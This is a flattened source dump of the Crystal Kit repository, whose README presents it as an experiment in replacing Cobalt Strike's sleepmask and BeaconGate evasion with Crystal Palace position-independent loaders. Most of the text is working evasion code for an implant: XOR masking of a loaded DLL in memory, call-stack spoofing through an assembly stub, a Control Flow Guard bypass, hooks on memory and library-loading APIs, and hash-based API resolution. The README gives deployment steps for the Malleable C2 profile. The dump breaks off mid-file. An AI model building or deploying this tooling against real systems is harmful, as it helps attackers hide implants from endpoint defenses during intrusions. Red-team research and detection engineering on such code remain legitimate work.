├── postex-loader ├── src │ ├── hash.h │ ├── cfg.h │ ├── cleanup.h │ ├── loader.h │ ├── spoof.h │ ├── memory.h │ ├── services.c │ ├── pico.c │ ├── cleanup.c │ ├── cfg.c │ ├── tcg.h │ ├── loader.c │ ├── draugr.asm │ ├── hooks.c │ └── spoof.c ├── bin │ └── draugr.x64.bin ├── services.spec ├── Makefile ├── pico.spec └── loader.spec ├── loader ├── src │ ├── cleanup.h │ ├── mask.h │ ├── cfg.h │ ├── loader.h │ ├── spoof.h │ ├── memory.h │ ├── services.c │ ├── mask.c │ ├── pico.c │ ├── cleanup.c │ ├── cfg.c │ ├── tcg.h │ ├── loader.c │ ├── draugr.asm │ ├── spoof.c │ └── hooks.c ├── bin │ └── draugr.x64.bin ├── services.spec ├── Makefile ├── loader.spec └── pico.spec ├── local-loader ├── src │ ├── cleanup.h │ ├── mask.h │ ├── cfg.h │ ├── loader.h │ ├── spoof.h │ ├── memory.h │ ├── services.c │ ├── mask.c │ ├── pico.c │ ├── cleanup.c │ ├── cfg.c │ ├── tcg.h │ ├── loader.c │ ├── draugr.asm │ ├── spoof.c │ └── hooks.c ├── bin │ └── draugr.x64.bin ├── services.spec ├── Makefile ├── loader.spec └── pico.spec ├── .gitattributes ├── libtcg.x64.zip ├── Makefile ├── .gitignore ├── README.md ├── LICENSE └── crystalkit.cna /postex-loader/src/hash.h: -------------------------------------------------------------------------------- 1 | #define LOADLIBRARYEXW_HASH 0x753A512 -------------------------------------------------------------------------------- /loader/src/cleanup.h: -------------------------------------------------------------------------------- 1 | void cleanup_memory ( MEMORY_LAYOUT * memory ); 2 | -------------------------------------------------------------------------------- /loader/src/mask.h: -------------------------------------------------------------------------------- 1 | void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); -------------------------------------------------------------------------------- /loader/src/cfg.h: -------------------------------------------------------------------------------- 1 | BOOL cfg_enabled ( ); 2 | BOOL bypass_cfg ( PVOID address ); -------------------------------------------------------------------------------- /local-loader/src/cleanup.h: -------------------------------------------------------------------------------- 1 | void cleanup_memory ( MEMORY_LAYOUT * memory ); 2 | -------------------------------------------------------------------------------- /local-loader/src/mask.h: -------------------------------------------------------------------------------- 1 | void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); -------------------------------------------------------------------------------- /local-loader/src/cfg.h: -------------------------------------------------------------------------------- 1 | BOOL cfg_enabled ( ); 2 | BOOL bypass_cfg ( PVOID address ); -------------------------------------------------------------------------------- /postex-loader/src/cfg.h: -------------------------------------------------------------------------------- 1 | BOOL cfg_enabled ( ); 2 | BOOL bypass_cfg ( PVOID address ); -------------------------------------------------------------------------------- /postex-loader/src/cleanup.h: -------------------------------------------------------------------------------- 1 | void cleanup_memory ( MEMORY_LAYOUT * memory ); 2 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /libtcg.x64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Kit/HEAD/libtcg.x64.zip -------------------------------------------------------------------------------- /loader/bin/draugr.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Kit/HEAD/loader/bin/draugr.x64.bin -------------------------------------------------------------------------------- /local-loader/bin/draugr.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Kit/HEAD/local-loader/bin/draugr.x64.bin -------------------------------------------------------------------------------- /postex-loader/bin/draugr.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Kit/HEAD/postex-loader/bin/draugr.x64.bin -------------------------------------------------------------------------------- /local-loader/services.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/services.x64.o" 3 | merge 4 | 5 | mergelib "../libtcg.x64.zip" 6 | 7 | dfr "resolve" "strings" 8 | -------------------------------------------------------------------------------- /postex-loader/services.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/services.x64.o" 3 | merge 4 | 5 | mergelib "../libtcg.x64.zip" 6 | 7 | dfr "resolve" "strings" 8 | -------------------------------------------------------------------------------- /loader/services.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/services.x64.o" 3 | merge 4 | 5 | mergelib "../libtcg.x64.zip" 6 | 7 | dfr "resolve" "ror13" "KERNEL32, NTDLL" 8 | dfr "resolve_ext" "strings" 9 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cd loader && make $@ 3 | cd local-loader && make $@ 4 | cd postex-loader && make $@ 5 | 6 | clean: 7 | cd loader && make $@ 8 | cd local-loader && make $@ 9 | cd postex-loader && make $@ 10 | -------------------------------------------------------------------------------- /loader/src/loader.h: -------------------------------------------------------------------------------- 1 | #define GETRESOURCE(x) ( char * ) &x 2 | 3 | typedef struct { 4 | char data [ 4096 ]; 5 | char code [ 16384 ]; 6 | } PICO; 7 | 8 | typedef struct { 9 | int len; 10 | char value[]; 11 | } RESOURCE; 12 | -------------------------------------------------------------------------------- /local-loader/src/loader.h: -------------------------------------------------------------------------------- 1 | #define GETRESOURCE(x) ( char * ) &x 2 | 3 | typedef struct { 4 | char data [ 4096 ]; 5 | char code [ 16384 ]; 6 | } PICO; 7 | 8 | typedef struct { 9 | int len; 10 | char value[]; 11 | } RESOURCE; 12 | -------------------------------------------------------------------------------- /postex-loader/src/loader.h: -------------------------------------------------------------------------------- 1 | #define GETRESOURCE(x) ( char * ) &x 2 | 3 | typedef struct { 4 | char data [ 4096 ]; 5 | char code [ 16384 ]; 6 | } PICO; 7 | 8 | typedef struct { 9 | int len; 10 | char value[]; 11 | } RESOURCE; 12 | -------------------------------------------------------------------------------- /postex-loader/src/spoof.h: -------------------------------------------------------------------------------- 1 | #define spoof_arg(x) ( ULONG_PTR ) ( x ) 2 | 3 | typedef struct { 4 | PVOID ptr; 5 | int argc; 6 | ULONG_PTR args[10]; 7 | } FUNCTION_CALL; 8 | 9 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ); 10 | -------------------------------------------------------------------------------- /loader/src/spoof.h: -------------------------------------------------------------------------------- 1 | #define spoof_arg(x) ( ULONG_PTR ) ( x ) 2 | 3 | typedef struct { 4 | PVOID ptr; 5 | DWORD ssn; 6 | int argc; 7 | ULONG_PTR args[10]; 8 | } FUNCTION_CALL; 9 | 10 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ); 11 | -------------------------------------------------------------------------------- /local-loader/src/spoof.h: -------------------------------------------------------------------------------- 1 | #define spoof_arg(x) ( ULONG_PTR ) ( x ) 2 | 3 | typedef struct { 4 | PVOID ptr; 5 | DWORD ssn; 6 | int argc; 7 | ULONG_PTR args[10]; 8 | } FUNCTION_CALL; 9 | 10 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ); 11 | -------------------------------------------------------------------------------- /loader/src/memory.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | PVOID BaseAddress; 3 | SIZE_T Size; 4 | DWORD CurrentProtect; 5 | DWORD PreviousProtect; 6 | } MEMORY_SECTION; 7 | 8 | typedef struct { 9 | PVOID BaseAddress; 10 | SIZE_T Size; 11 | MEMORY_SECTION Sections [ 20 ]; 12 | } MEMORY_REGION; 13 | 14 | typedef struct { 15 | MEMORY_REGION Pico; 16 | MEMORY_REGION Dll; 17 | } MEMORY_LAYOUT; 18 | -------------------------------------------------------------------------------- /local-loader/src/memory.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | PVOID BaseAddress; 3 | SIZE_T Size; 4 | DWORD CurrentProtect; 5 | DWORD PreviousProtect; 6 | } MEMORY_SECTION; 7 | 8 | typedef struct { 9 | PVOID BaseAddress; 10 | SIZE_T Size; 11 | MEMORY_SECTION Sections [ 20 ]; 12 | } MEMORY_REGION; 13 | 14 | typedef struct { 15 | MEMORY_REGION Pico; 16 | MEMORY_REGION Dll; 17 | } MEMORY_LAYOUT; 18 | -------------------------------------------------------------------------------- /postex-loader/src/memory.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | PVOID BaseAddress; 3 | SIZE_T Size; 4 | DWORD CurrentProtect; 5 | DWORD PreviousProtect; 6 | } MEMORY_SECTION; 7 | 8 | typedef struct { 9 | PVOID BaseAddress; 10 | SIZE_T Size; 11 | MEMORY_SECTION Sections [ 20 ]; 12 | } MEMORY_REGION; 13 | 14 | typedef struct { 15 | MEMORY_REGION Pico; 16 | MEMORY_REGION Dll; 17 | } MEMORY_LAYOUT; 18 | -------------------------------------------------------------------------------- /local-loader/src/services.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* patch function pointers in */ 4 | __typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); 5 | __typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); 6 | 7 | /** 8 | * This function is used to locate functions in 9 | * modules that are loaded by default (K32 & NTDLL) 10 | */ 11 | FARPROC resolve ( char * mod_name, char * func_name ) 12 | { 13 | HANDLE module = get_module_handle ( mod_name ); 14 | return get_proc_address ( module, func_name ); 15 | } 16 | -------------------------------------------------------------------------------- /postex-loader/src/services.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* patch function pointers in */ 4 | __typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); 5 | __typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); 6 | 7 | /** 8 | * This function is used to locate functions in 9 | * modules that are loaded by default (K32 & NTDLL) 10 | */ 11 | FARPROC resolve ( char * mod_name, char * func_name ) 12 | { 13 | HANDLE module = get_module_handle ( mod_name ); 14 | return get_proc_address ( module, func_name ); 15 | } 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Crystal Kit 2 | 3 | This repo is a technical and social experiment to explore whether replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with a [Crystal Palace](https://tradecraftgarden.org/) PICO is feasible (or even desirable) for advanced evasion scenarios. 4 | 5 | ## Usage 6 | 7 | 1. Disable the sleepmask and stage obfuscations in Malleable C2. 8 | 9 | ```text 10 | stage { 11 | set sleep_mask "false"; 12 | set cleanup "true"; 13 | transform-obfuscate { } 14 | } 15 | 16 | post-ex { 17 | set cleanup "true"; 18 | set smartinject "true"; 19 | } 20 | ``` 21 | 22 | 2. Copy `crystalpalace.jar` to your Cobalt Strike client directory. 23 | 3. Load `crystalkit.cna`. 24 | 25 | ### Notes 26 | 27 | - Tested on Cobalt Strike 4.12. 28 | - Can work with any post-ex DLL capability. 29 | -------------------------------------------------------------------------------- /loader/src/services.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "tcg.h" 3 | 4 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); 5 | 6 | /** 7 | * This function is used to locate functions in 8 | * modules that are loaded by default (K32 & NTDLL) 9 | */ 10 | FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) 11 | { 12 | HANDLE module = findModuleByHash ( mod_hash ); 13 | return findFunctionByHash ( module, func_hash ); 14 | } 15 | 16 | /** 17 | * This function is used to load and/or locate functions 18 | * in modules that are not loaded by default. 19 | */ 20 | FARPROC resolve_ext ( char * mod_name, char * func_name ) 21 | { 22 | HANDLE module = KERNEL32$GetModuleHandleA ( mod_name ); 23 | 24 | if ( module == NULL ) { 25 | module = LoadLibraryA ( mod_name ); 26 | } 27 | 28 | return GetProcAddress ( module, func_name ); 29 | } 30 | -------------------------------------------------------------------------------- /postex-loader/Makefile: -------------------------------------------------------------------------------- 1 | CC_64=x86_64-w64-mingw32-gcc 2 | NASM=nasm 3 | 4 | all: bin/loader.x64.o 5 | 6 | bin: 7 | mkdir bin 8 | 9 | bin/loader.x64.o: bin 10 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o 11 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o 12 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o 13 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o 14 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o 15 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o 16 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o 17 | 18 | $(NASM) src/draugr.asm -o bin/draugr.x64.bin 19 | 20 | clean: 21 | rm -f bin/* 22 | -------------------------------------------------------------------------------- /loader/Makefile: -------------------------------------------------------------------------------- 1 | CC_64=x86_64-w64-mingw32-gcc 2 | NASM=nasm 3 | 4 | all: bin/loader.x64.o 5 | 6 | bin: 7 | mkdir bin 8 | 9 | bin/loader.x64.o: bin 10 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o 11 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o 12 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o 13 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o 14 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o 15 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o 16 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o 17 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o 18 | 19 | $(NASM) src/draugr.asm -o bin/draugr.x64.bin 20 | 21 | clean: 22 | rm -f bin/* 23 | -------------------------------------------------------------------------------- /local-loader/Makefile: -------------------------------------------------------------------------------- 1 | CC_64=x86_64-w64-mingw32-gcc 2 | NASM=nasm 3 | 4 | all: bin/loader.x64.o 5 | 6 | bin: 7 | mkdir bin 8 | 9 | bin/loader.x64.o: bin 10 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o 11 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o 12 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o 13 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o 14 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o 15 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o 16 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o 17 | $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o 18 | 19 | $(NASM) src/draugr.asm -o bin/draugr.x64.bin 20 | 21 | clean: 22 | rm -f bin/* 23 | -------------------------------------------------------------------------------- /postex-loader/pico.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/pico.x64.o" 3 | make object +disco 4 | 5 | # merge the hook functions 6 | load "bin/hooks.x64.o" 7 | merge 8 | 9 | # merge the call stack spoofing 10 | load "bin/spoof.x64.o" 11 | merge 12 | 13 | # merge the asm stub 14 | load "bin/draugr.x64.bin" 15 | linkfunc "draugr_stub" 16 | 17 | # merge cfg code 18 | load "bin/cfg.x64.o" 19 | merge 20 | 21 | # merge cleanup 22 | load "bin/cleanup.x64.o" 23 | merge 24 | 25 | # export setup_hooks and setup_memory 26 | exportfunc "setup_hooks" "__tag_setup_hooks" 27 | exportfunc "setup_memory" "__tag_setup_memory" 28 | 29 | # hook functions in the DLL 30 | addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW" 31 | addhook "KERNEL32$ExitThread" "_ExitThread" 32 | 33 | mergelib "../libtcg.x64.zip" 34 | 35 | export 36 | -------------------------------------------------------------------------------- /loader/loader.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/loader.x64.o" 3 | make pic +gofirst +optimize 4 | 5 | # merge pic services 6 | run "services.spec" 7 | 8 | # merge hooks into the loader 9 | load "bin/hooks.x64.o" 10 | merge 11 | 12 | # merge call stack spoofing into the loader 13 | load "bin/spoof.x64.o" 14 | merge 15 | 16 | # load the stack spoofing assembly 17 | load "bin/draugr.x64.bin" 18 | linkfunc "draugr_stub" 19 | 20 | # hook functions that the loader uses 21 | attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" 22 | attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" 23 | attach "KERNEL32$VirtualProtect" "_VirtualProtect" 24 | attach "KERNEL32$VirtualFree" "_VirtualFree" 25 | 26 | # mask & link the dll 27 | generate $MASK 128 28 | push $DLL 29 | xor $MASK 30 | preplen 31 | link "dll" 32 | 33 | push $MASK 34 | preplen 35 | link "mask" 36 | 37 | # now get the tradecraft as a PICO 38 | run "pico.spec" 39 | link "pico" 40 | 41 | export 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /local-loader/loader.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/loader.x64.o" 3 | make pic +gofirst +optimize 4 | 5 | # merge pic services 6 | run "services.spec" 7 | 8 | patch "get_module_handle" $GMH 9 | patch "get_proc_address" $GPA 10 | 11 | # merge hooks into the loader 12 | load "bin/hooks.x64.o" 13 | merge 14 | 15 | # merge call stack spoofing into the loader 16 | load "bin/spoof.x64.o" 17 | merge 18 | 19 | # load the stack spoofing assembly 20 | load "bin/draugr.x64.bin" 21 | linkfunc "draugr_stub" 22 | 23 | # hook functions that the loader uses 24 | attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" 25 | attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" 26 | attach "KERNEL32$VirtualProtect" "_VirtualProtect" 27 | attach "KERNEL32$VirtualFree" "_VirtualFree" 28 | 29 | preserve "KERNEL32$LoadLibraryA" "init_frame_info" 30 | 31 | # mask & link the dll 32 | generate $MASK 128 33 | push $DLL 34 | xor $MASK 35 | preplen 36 | link "dll" 37 | 38 | push $MASK 39 | preplen 40 | link "mask" 41 | 42 | # now get the tradecraft as a PICO 43 | run "pico.spec" 44 | link "pico" 45 | 46 | export 47 | -------------------------------------------------------------------------------- /postex-loader/loader.spec: -------------------------------------------------------------------------------- 1 | x64: 2 | load "bin/loader.x64.o" 3 | make pic +gofirst +optimize +disco 4 | 5 | # merge pic services 6 | run "services.spec" 7 | 8 | patch "get_module_handle" $GMH 9 | patch "get_proc_address" $GPA 10 | 11 | # merge hooks into the loader 12 | load "bin/hooks.x64.o" 13 | merge 14 | 15 | # merge call stack spoofing into the loader 16 | load "bin/spoof.x64.o" 17 | merge 18 | 19 | # load the stack spoofing assembly 20 | load "bin/draugr.x64.bin" 21 | # link is ok here because loader 22 | # will be in RX or RWX memory 23 | link "draugr_stub" 24 | 25 | # hook functions that the loader uses 26 | attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" 27 | attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" 28 | attach "KERNEL32$VirtualProtect" "_VirtualProtect" 29 | attach "KERNEL32$VirtualFree" "_VirtualFree" 30 | 31 | preserve "KERNEL32$LoadLibraryA" "init_frame_info" 32 | 33 | # mask & link the dll 34 | generate $MASK 128 35 | push $DLL 36 | xor $MASK 37 | preplen 38 | link "dll" 39 | 40 | push $MASK 41 | preplen 42 | link "mask" 43 | 44 | # now get the tradecraft as a PICO 45 | run "pico.spec" 46 | link "pico" 47 | 48 | export 49 | -------------------------------------------------------------------------------- /postex-loader/src/pico.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "spoof.h" 4 | #include "cleanup.h" 5 | #include "tcg.h" 6 | 7 | MEMORY_LAYOUT g_memory; 8 | 9 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 10 | 11 | FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) 12 | { 13 | /* lpProcName may be an ordinal */ 14 | if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) 15 | { 16 | /* just resolve normally */ 17 | return GetProcAddress ( hModule, lpProcName ); 18 | } 19 | 20 | FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); 21 | 22 | /* 23 | * result may still be NULL if 24 | * it wasn't hooked in the spec 25 | */ 26 | if ( result != NULL ) { 27 | return result; 28 | } 29 | 30 | return GetProcAddress ( hModule, lpProcName ); 31 | } 32 | 33 | void setup_hooks ( IMPORTFUNCS * funcs ) 34 | { 35 | funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; 36 | } 37 | 38 | void setup_memory ( MEMORY_LAYOUT * layout ) 39 | { 40 | if ( layout != NULL ) { 41 | g_memory = * layout; 42 | } 43 | } 44 | 45 | /* 46 | * throw these hooks in here because 47 | * sharing a global across multiple 48 | * modules is still a bit of a headache 49 | */ 50 | 51 | VOID WINAPI _ExitThread ( DWORD dwExitCode ) 52 | { 53 | /* free memory */ 54 | cleanup_memory ( &g_memory ); 55 | 56 | /* call the real exit thread */ 57 | FUNCTION_CALL call = { 0 }; 58 | 59 | call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); 60 | call.argc = 1; 61 | 62 | call.args [ 0 ] = spoof_arg ( dwExitCode ); 63 | 64 | spoof_call ( &call ); 65 | } 66 | -------------------------------------------------------------------------------- /loader/src/mask.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "spoof.h" 4 | 5 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 6 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 7 | 8 | char xorkey [ 128 ] = { 1 }; 9 | 10 | void apply_mask ( char * data, DWORD len ) 11 | { 12 | for ( DWORD i = 0; i < len; i++ ) 13 | { 14 | data [ i ] ^= xorkey [ i % 128 ]; 15 | } 16 | } 17 | 18 | BOOL is_writeable ( DWORD protection ) 19 | { 20 | if ( protection == PAGE_EXECUTE_READWRITE || 21 | protection == PAGE_EXECUTE_WRITECOPY || 22 | protection == PAGE_READWRITE || 23 | protection == PAGE_WRITECOPY ) 24 | { 25 | return TRUE; 26 | } 27 | 28 | return FALSE; 29 | } 30 | 31 | void xor_section ( MEMORY_SECTION * section, BOOL mask ) 32 | { 33 | if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) 34 | { 35 | DWORD old_protect = 0; 36 | 37 | if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) 38 | { 39 | section->CurrentProtect = PAGE_READWRITE; 40 | section->PreviousProtect = old_protect; 41 | } 42 | } 43 | 44 | if ( is_writeable ( section->CurrentProtect ) ) 45 | { 46 | apply_mask ( section->BaseAddress, section->Size ); 47 | } 48 | 49 | if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) 50 | { 51 | DWORD old_protect = 0; 52 | 53 | if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) 54 | { 55 | section->CurrentProtect = section->PreviousProtect; 56 | section->PreviousProtect = old_protect; 57 | } 58 | } 59 | } 60 | 61 | void xor_region ( MEMORY_REGION * region, BOOL mask ) 62 | { 63 | for ( int i = 0; i < 20; i++ ) 64 | { 65 | xor_section ( ®ion->Sections [ i ], mask ); 66 | } 67 | } 68 | 69 | void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) 70 | { 71 | xor_region ( &memory->Dll, mask ); 72 | } 73 | -------------------------------------------------------------------------------- /local-loader/src/mask.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "spoof.h" 4 | 5 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 6 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 7 | 8 | char xorkey [ 128 ] = { 1 }; 9 | 10 | void apply_mask ( char * data, DWORD len ) 11 | { 12 | for ( DWORD i = 0; i < len; i++ ) 13 | { 14 | data [ i ] ^= xorkey [ i % 128 ]; 15 | } 16 | } 17 | 18 | BOOL is_writeable ( DWORD protection ) 19 | { 20 | if ( protection == PAGE_EXECUTE_READWRITE || 21 | protection == PAGE_EXECUTE_WRITECOPY || 22 | protection == PAGE_READWRITE || 23 | protection == PAGE_WRITECOPY ) 24 | { 25 | return TRUE; 26 | } 27 | 28 | return FALSE; 29 | } 30 | 31 | void xor_section ( MEMORY_SECTION * section, BOOL mask ) 32 | { 33 | if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) 34 | { 35 | DWORD old_protect = 0; 36 | 37 | if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) 38 | { 39 | section->CurrentProtect = PAGE_READWRITE; 40 | section->PreviousProtect = old_protect; 41 | } 42 | } 43 | 44 | if ( is_writeable ( section->CurrentProtect ) ) 45 | { 46 | apply_mask ( section->BaseAddress, section->Size ); 47 | } 48 | 49 | if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) 50 | { 51 | DWORD old_protect = 0; 52 | 53 | if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) 54 | { 55 | section->CurrentProtect = section->PreviousProtect; 56 | section->PreviousProtect = old_protect; 57 | } 58 | } 59 | } 60 | 61 | void xor_region ( MEMORY_REGION * region, BOOL mask ) 62 | { 63 | for ( int i = 0; i < 20; i++ ) 64 | { 65 | xor_section ( ®ion->Sections [ i ], mask ); 66 | } 67 | } 68 | 69 | void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) 70 | { 71 | xor_region ( &memory->Dll, mask ); 72 | } 73 | -------------------------------------------------------------------------------- /loader/src/pico.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memory.h" 3 | #include "mask.h" 4 | #include "spoof.h" 5 | #include "cleanup.h" 6 | #include "tcg.h" 7 | 8 | MEMORY_LAYOUT g_memory; 9 | 10 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); 11 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); 12 | 13 | FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) 14 | { 15 | /* lpProcName may be an ordinal */ 16 | if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) 17 | { 18 | /* just resolve normally */ 19 | return GetProcAddress ( hModule, lpProcName ); 20 | } 21 | 22 | FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); 23 | 24 | /* 25 | * result may still be NULL if 26 | * it wasn't hooked in the spec 27 | */ 28 | if ( result != NULL ) { 29 | return result; 30 | } 31 | 32 | return GetProcAddress ( hModule, lpProcName ); 33 | } 34 | 35 | void setup_hooks ( IMPORTFUNCS * funcs ) 